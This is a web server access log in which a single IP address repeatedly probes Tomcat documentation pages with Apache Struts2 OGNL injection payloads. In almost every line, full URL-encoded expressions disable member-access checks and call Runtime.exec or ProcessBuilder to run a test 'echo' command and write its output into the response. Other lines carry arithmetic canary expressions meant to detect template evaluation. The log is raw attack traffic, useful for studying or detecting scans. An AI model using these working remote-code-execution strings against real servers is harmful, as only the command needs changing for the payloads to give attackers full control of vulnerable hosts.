222.186.180.34 - - [26/May/2023:06:08:37 +0530] "GET /docs/class-loader-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:38 +0530] "GET /docs/class-loader-howto.html/%24%7B6412620%2B1914250%7D/index.action HTTP/1.0" 404 1130
222.186.180.34 - - [26/May/2023:06:08:39 +0530] "GET /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:43 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:44 +0530] "GET /docs/jasper-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:46 +0530] "GET /docs/jasper-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:49 +0530] "GET /docs/jasper-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:51 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:52 +0530] "GET /docs/jasper-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1068
222.186.180.34 - - [26/May/2023:06:08:53 +0530] "GET /docs/jasper-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:06:08:54 +0530] "GET /docs/jasper-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:06:08:55 +0530] "GET /docs/jasper-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:56 +0530] "GET /docs/jasper-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1768
222.186.180.34 - - [26/May/2023:06:08:57 +0530] "GET /docs/jasper-howto.html?redirect%3A%24%7B2557241%2B1070890%7D HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:08:58 +0530] "GET /docs/jasper-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:00 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:01 +0530] "GET /docs/jasper-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:02 +0530] "GET /docs/jasper-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1452
222.186.180.34 - - [26/May/2023:06:09:03 +0530] "GET /docs/jasper-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1688
222.186.180.34 - - [26/May/2023:06:09:04 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:05 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:06 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:08 +0530] "POST /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:09 +0530] "GET /docs/jasper-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:11 +0530] "GET /docs/jasper-howto.html/%24%7B6354512%2B1067041%7D/index.action HTTP/1.0" 404 1118
222.186.180.34 - - [26/May/2023:06:09:12 +0530] "GET /docs/jasper-howto.html HTTP/1.0" 200 23803
222.186.180.34 - - [26/May/2023:06:09:17 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:19 +0530] "GET /docs/ssl-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:20 +0530] "GET /docs/ssl-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:23 +0530] "GET /docs/ssl-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:24 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:26 +0530] "GET /docs/ssl-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1062
222.186.180.34 - - [26/May/2023:06:09:27 +0530] "GET /docs/ssl-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2058
222.186.180.34 - - [26/May/2023:06:09:28 +0530] "GET /docs/ssl-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2058
222.186.180.34 - - [26/May/2023:06:09:30 +0530] "GET /docs/ssl-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:32 +0530] "GET /docs/ssl-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1762
222.186.180.34 - - [26/May/2023:06:09:33 +0530] "GET /docs/ssl-howto.html?redirect%3A%24%7B4011347%2B3499003%7D HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:34 +0530] "GET /docs/ssl-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:39 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:40 +0530] "GET /docs/ssl-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:41 +0530] "GET /docs/ssl-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1446
222.186.180.34 - - [26/May/2023:06:09:42 +0530] "GET /docs/ssl-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1682
222.186.180.34 - - [26/May/2023:06:09:43 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:45 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:47 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:48 +0530] "POST /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:49 +0530] "GET /docs/ssl-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:51 +0530] "GET /docs/ssl-howto.html/%24%7B3951162%2B8423072%7D/index.action HTTP/1.0" 404 1112
222.186.180.34 - - [26/May/2023:06:09:52 +0530] "GET /docs/ssl-howto.html HTTP/1.0" 200 35182
222.186.180.34 - - [26/May/2023:06:09:57 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:05 +0530] "GET /docs/ssi-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:07 +0530] "GET /docs/ssi-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:08 +0530] "GET /docs/ssi-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:11 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:13 +0530] "GET /docs/ssi-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1062
222.186.180.34 - - [26/May/2023:06:10:14 +0530] "GET /docs/ssi-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2058
